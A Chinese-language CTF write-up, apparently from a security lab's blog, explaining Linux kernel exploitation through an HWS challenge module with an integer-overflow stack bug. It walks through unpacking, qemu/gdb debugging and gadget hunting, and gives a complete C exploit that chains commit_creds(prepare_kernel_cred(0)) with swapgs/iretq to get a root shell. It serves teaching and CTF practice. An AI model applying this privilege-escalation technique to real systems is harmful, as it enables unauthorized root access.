通过一道pwn题探究linux kernel的艺术

  • A+
所属分类:逆向工程

前言

啊~熟悉的感觉,想起已经两年没写文章了,文采早已不及当年。很惭愧,已经两年没好好地总结知识点了,我现在又重温当年的回忆,来和大家一起探究一下linux kernel的艺术


内核基础知识

简介

kernel其实就是一个程序,可以直接与硬件交互,应用也可以通过系统调用与内核进行交互。比如应用中存在一个puts函数,通过系统调用syscall告诉内核我现在需要在硬件显示屏上输出一串字符,内核就会控制显示屏打印出一串字符。其实说白了,内核就像是一个中间人,是硬件与软件沟通的桥梁。


通过一道pwn题探究linux kernel的艺术

既然是程序,那就跟普通程序一样肯定会存在漏洞,其运行的时候也会有一个内核栈,要是传进来是数据过长,同样也会造成栈溢出,只是利用的方法和找的gadget不一样。


特权级别

Intel x86系列处理器使用“环”的概念来实施访问控制,将CPU分为Ring0,Ring1,Ring2,Ring3等级别,Ring是指CPU的运行级别,Ring0实际就是内核态,是最高级别,只有操作系统能使用,而一般应用程序处于Ring3状态,级别最低,所有程序都能使用。


内核保护机制


1.smep和smap:当CPU处于Ring0模式,不能执行用户空间的代码和访问用户空间的数据。

2.canary:跟一般程序的canary一样,溢出覆盖掉这个后返回就会报错。

3.kaslr:类似于so文件的加载机制,开启后,image会随机加载到VMALLOC的任何位置。

4.restrict:若文件/proc/sys/kernel/kptr_restrict的值为1,则不能通过/proc/kallsyms查看内核符号的地址,若/proc/sys/kernel/dmesg_restrict设置为1,非root用户则不可以查看dmesg。


CTF中的内核题

目的

内核题跟普通的pwn题不同点就是,普通的pwn题就是为了getshell或者远程读出flag,而内核题系统启动之后就有shell,但是这个shell是低权限的,所以我们要做的就是通过找出内核的洞来并利用其提权读出flag。


例题

题目信息

下面来看一道HWS计划冬令营的一道简单的内核题,题目给了一个压缩包,里面有以下文件:

1.boot.sh:用来启动内核的shell脚本,大多数都是使用qemu来启动,通过参数可以控制启动的内核的保护机制。

2.bzImage:经过压缩后kernel的二进制文件,通过extract-vmlinux可以提取出vmlinux。

3.rootfs.img:文件系统镜像,用binwalk将其解开之后会有个.ko文件,一般漏洞就存在那个文件里面。


分析

利用binwalk命令binwalk -Me ./rootfs.img 将文件系统镜像解包,拿到其中的dou_stack.ko文件。还有一个init文件,可以看到里面开了定时关机,为了方便调试,我们可以这行删掉,然后再用命令

find . | cpio -o --format=newc > ../../rootfs.img将其打包

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod ./dou_stack.ko # load ko

chown 0:0 /flag
chmod 400 /flag
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo "doudou welcome you here let's gogo"
poweroff -d 300 -f & #delete
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# exec /bin/sh #root
poweroff -d 0 -f

利用IDA逆向dou_stack.ko文件看到procfile_write函数里面的第三个参数是一个字节的大小跟7进行比较,如果小于7,则将用户空间的数据传入内核的栈里面去。这里存在一个整数溢出的问题,若我们传的长度类似是0xffff00的数值就可以绕过那个比较的限制,从而造成栈溢出。

通过一道pwn题探究linux kernel的艺术


调试

通过静态分析可以知道变量到返回地址的偏移为0x10,现在我们来动态调试一下,我们用c语言写个调试内核的程序,用命令gcc exp_debug.c -static -o exp_debug进行编译,然后将其放进文件系统映像里面

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>


int main()
{

size_t rop[0x1000] = {0};

int i=0;

rop[0] = 0x1111111111111111;
rop[1] = 0x2222222222222222;
int fd = open("/proc/doudou", 2);
write(fd,rop,0xff06);
return 0;
}


题目给的那个boot.sh文件,我们只需要在后面加上-s的参数,这个参数相当于-gdb tcp:1234

#! /bin/sh

qemu-system-x86_64
-m 256M
-kernel ./bzImage
-initrd ./rootfs.img
-monitor /dev/null
-nographic
-smp cores=2,threads=1
-append "console=ttyS0 root=/dev/sda rw nokaslr quiet"
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-cpu kvm64
-s


将bzImage用extract-vmlinux提取出vmlinux

./extract-vmlinux ./bzImage > vmlinux

然后通过gdb ./vmlinux -q启动,为了方便调试,我们可以加载驱动的符号表

add-symbol-file dou_stack.ko textaddr

这个textaddr地址如何找呢,我们执行sudo  ./boot.sh把系统启动起来,然后在系统里面执行lsmod即可得到地址为0xffffffffa0000000

/ $ lsmod 
dou_stack 1799 0 - Live 0xffffffffa0000000 (P)

加载了符号表之后可以直接根据函数名下断点  b procfile_write,用命令 target remote 127.0.0.1:1234进行调试

[email protected]$ gdb ./vmlinux -q
pwndbg: loaded 190 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file dou_stack.ko 0xffffffffa0000000
add symbol table from file "dou_stack.ko" at
.text_addr = 0xffffffffa0000000
Reading symbols from dou_stack.ko...(no debugging symbols found)...done.
pwndbg> b procfile_write
Breakpoint 1 at 0xffffffffa0000000
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

Thread 1 received signal SIGTRAP, Trace/breakpoint trap.
0xffffffff81011a69 in ?? ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
Could not check ASLR: Couldn't get personality
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x0
RBX 0xffffffff817b3fd8 ◂— 0xffffffff
RCX 0x1
RDX 0x2cbcacc40
RDI 0x1
RSI 0x1
R8   0x0
R9   0x0
R10 0x0
R11 0xfffb952c
R12 0x6db6db6db6db6db7
R13 0xffff880001a11680 ◂— movsxd rbp, dword ptr [rdi + 0x6e] /* 0x3d656c6f736e6f63; 'console=ttyS0' */
R14 0xffffffffffffffff
R15 0x0
RBP 0xffffffff817b3f38 —▸ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 ◂— ...
RSP 0xffffffff817b3f38 —▸ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 ◂— ...
RIP 0xffffffff81011a69 ◂— jmp   0xffffffff81011a6c /* 0x25048b4865fb01eb */
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0xffffffff81011a69   jmp   0xffffffff81011a6c
  ↓
  0xffffffff81011a6c   mov   rax, qword ptr gs:[0xb548]
  0xffffffff81011a75   or     dword ptr [rax - 0x1fc4], 4
  0xffffffff81011a7c   pop   rbp
  0xffffffff81011a7d   ret    

  0xffffffff81011a7e   push   rbp
  0xffffffff81011a7f   mov   rbp, rsp
  0xffffffff81011a82   call   0xffffffff81011a20

  0xffffffff81011a87   test   eax, eax
  0xffffffff81011a89   jne   0xffffffff81011aea

  0xffffffff81011a8b   mov   edi, 1
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp 0xffffffff817b3f38 —▸ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 ◂— ...
01:0008│         0xffffffff817b3f40 —▸ 0xffffffff8100a255 ◂— 0xe8c3ebfffffec5e8
02:0010│         0xffffffff817b3f48 ◂— 0
... ↓
04:0020│         0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 —▸ 0xffffffff817b3fe8 ◂— ...
05:0028│         0xffffffff817b3f60 —▸ 0xffffffff81509ad2 ◂— pop   rbp /* 0x48ff85fe8955c35d */
06:0030│         0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 —▸ 0xffffffff817b3fe8 ◂— 0
07:0038│         0xffffffff817b3f70 —▸ 0xffffffff818a0b0c ◂— 0xcccccccccccccccc
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 ffffffff81011a69
  f 1 ffffffff817b3f58
  f 2 ffffffff8100a255
  f 3               0
───────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.


跟着在启动的系统里面运行exp_debug这个程序触发断点

pwndbg> c
Continuing.
[Switching to Thread 2]

Thread 2 hit Breakpoint 1, 0xffffffffa0000000 in procfile_write ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
RAX 0xfffffffffffffffb
RBX 0xffff88000eb4a6c0 ◂— sub   eax, dword ptr [rcx] /* 0x6f000012b */
RCX 0xffff88000f80bf60 ◂— 0
RDX 0xff06
RDI 0xffff88000eb4ab40 —▸ 0xffff88000f4958e8 ◂— 0xffff88000eb4ab40
RSI 0x7fff340912a0 ◂— adc   dword ptr [rcx], edx /* 0x1111111111111111 */
R8   0xffffffffa0000000 (procfile_write) ◂— push   rbp /* 0x11cc7c748c03155 */
R9   0xf
R10 0x6
R11 0x246
R12 0xffff88000eb4ab40 —▸ 0xffff88000f4958e8 ◂— 0xffff88000eb4ab40
R13 0xffff88000f80bf60 ◂— 0
R14 0x0
R15 0x0
RBP 0xffff88000f80bef8 —▸ 0xffff88000f80bf38 —▸ 0xffff88000f80bf78 —▸ 0x7fff340992b0 —▸ 0x6ca018 ◂— ...
RSP 0xffff88000f80bec0 —▸ 0xffffffff81118ef2 ◂— 0xe8e8458948df8948
RIP 0xffffffffa0000000 (procfile_write) ◂— push   rbp /* 0x11cc7c748c03155 */
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
► 0xffffffffa0000000 <procfile_write>       push   rbp
  0xffffffffa0000001 <procfile_write+1>     xor   eax, eax
  0xffffffffa0000003 <procfile_write+3>     mov   rdi, -0x5ffffee4
  0xffffffffa000000a <procfile_write+10>   mov   rbp, rsp
  0xffffffffa000000d <procfile_write+13>   sub   rsp, 0x20
  0xffffffffa0000011 <procfile_write+17>   mov   qword ptr [rbp - 0x20], rsi
  0xffffffffa0000015 <procfile_write+21>   mov   qword ptr [rbp - 0x18], rdx
  0xffffffffa0000019 <procfile_write+25>   call   0xffffffff815253aa

  0xffffffffa000001e <procfile_write+30>   mov   rdx, qword ptr [rbp - 0x18]
  0xffffffffa0000022 <procfile_write+34>   mov   rsi, qword ptr [rbp - 0x20]
  0xffffffffa0000026 <procfile_write+38>   cmp   dl, 7
───────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────
00:0000│ rsp 0xffff88000f80bec0 —▸ 0xffffffff81118ef2 ◂— 0xe8e8458948df8948
01:0008│     0xffff88000f80bec8 —▸ 0xffff88000f80bef8 —▸ 0xffff88000f80bf38 —▸ 0xffff88000f80bf78 —▸ 0x7fff340992b0 ◂— ...
02:0010│     0xffff88000f80bed0 —▸ 0x7fff340912a0 ◂— adc   dword ptr [rcx], edx /* 0x1111111111111111 */
03:0018│     0xffff88000f80bed8 ◂— 0xff06
04:0020│     0xffff88000f80bee0 —▸ 0xffff88000f80bf60 ◂— 0
05:0028│     0xffff88000f80bee8 —▸ 0xffff88000eb4ab40 —▸ 0xffff88000f4958e8 ◂— 0xffff88000eb4ab40
06:0030│     0xffff88000f80bef0 —▸ 0x7fff340912a0 ◂— adc   dword ptr [rcx], edx /* 0x1111111111111111 */
07:0038│ rbp 0xffff88000f80bef8 —▸ 0xffff88000f80bf38 —▸ 0xffff88000f80bf78 —▸ 0x7fff340992b0 —▸ 0x6ca018 ◂— ...
─────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────
► f 0 ffffffffa0000000 procfile_write
  f 1 ffffffff81118ef2
  f 2 ffff88000f80bef8
  f 3     7fff340912a0
  f 4             ff06
  f 5 ffff88000f80bf60
  f 6 ffff88000eb4ab40
  f 7     7fff340912a0
  f 8 ffff88000f80bf38
  f 9 ffffffff810d61c8
  f 10               20


Exploit

首先我们要将各个寄存器的值保存下来

size_t user_cs, user_ss, user_rflags, user_sp;
void save()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

由于此题没有设置restrict和kaslr,所以commit_creds和prepare_kernel_cred的地址可以直接读出来使用,直接在qemu启动的系统中用grep查找/proc/kallsyms文件,得到commit_creds的地址为0xffffffff8105d235,prepare_kernel_cred的地址为0xffffffff8105d157

/ $ cat /proc/kallsyms | grep "commit_creds"
ffffffff8105d235 T commit_creds
ffffffff811c2a27 T security_commit_creds
ffffffff8177b700 r __ksymtab_commit_creds
ffffffff81792e35 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff8105d157 T prepare_kernel_cred
ffffffff8177b6c0 r __ksymtab_prepare_kernel_cred
ffffffff81792df9 r __kstrtab_prepare_kernel_cred

接下来我们的目的就是要找gadget去执行commit_creds(prepare_kernel_cred(0)),然后找到swapgs和iretq这两个gadget去执行返回到用户的空间,这个跟做普通的pwn题是一样的方法。要注意的是swapgs和iretq可以直接在IDA中搜索,也可以用objdump工具来找:

objdump -d ./vmlinux > gadget.txt
grep "swapgs" gadget.txt
grep "iretq" gadget.txt


完整exp


#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void shell()
{
system("/bin/sh");
}



size_t user_cs, user_ss, user_rflags, user_sp;
void save()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}


int main()
{
size_t commit_creds = 0xffffffff8105d235, prepare_kernel_cred = 0xffffffff8105d157;
save();


size_t rop[0x1000] = {0};


rop[0] = 0x1111111111111111;
rop[1] = 0x1111111111111111;
rop[2] = 0xffffffff810fb050; // pop rdi; ret
rop[3] = 0;
rop[4] = prepare_kernel_cred; // prepare_kernel_cred(0)0xffffffff8105d157
rop[5] = 0xffffffff811d1f52; // pop rdx; ret
rop[6] = 0xffffffff812a5faa; // pop rcx; ret
rop[7] = 0xffffffff810770ac; // mov rdi, rax; call rdx;
rop[8] = commit_creds; //0xffffffff8105d235
rop[9] = 0xffffffff8100c86a; // swapgs; popfq; ret
rop[10] = 0;
rop[11] = 0xffffffff8100c33a; // iretq; ret;
rop[12] = (size_t)shell; // rip
rop[13] = user_cs; // cs
rop[14] = user_rflags; // rflags
rop[15] = user_sp; // rsp
rop[16] = user_ss;
int fd = open("/proc/doudou", 2);
write(fd,rop,0xff06);
return 0;
}


用命令gcc exp.c -static -masm=intel -g -o exp编译,然后运行就拿到root权限的shell

/ $ whoami
whoami: unknown uid 1000
/ $ ./exp
/ # whoami
whoami: unknown uid 0


本文始发于微信公众号(山石网科安全技术研究院):通过一道pwn题探究linux kernel的艺术

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: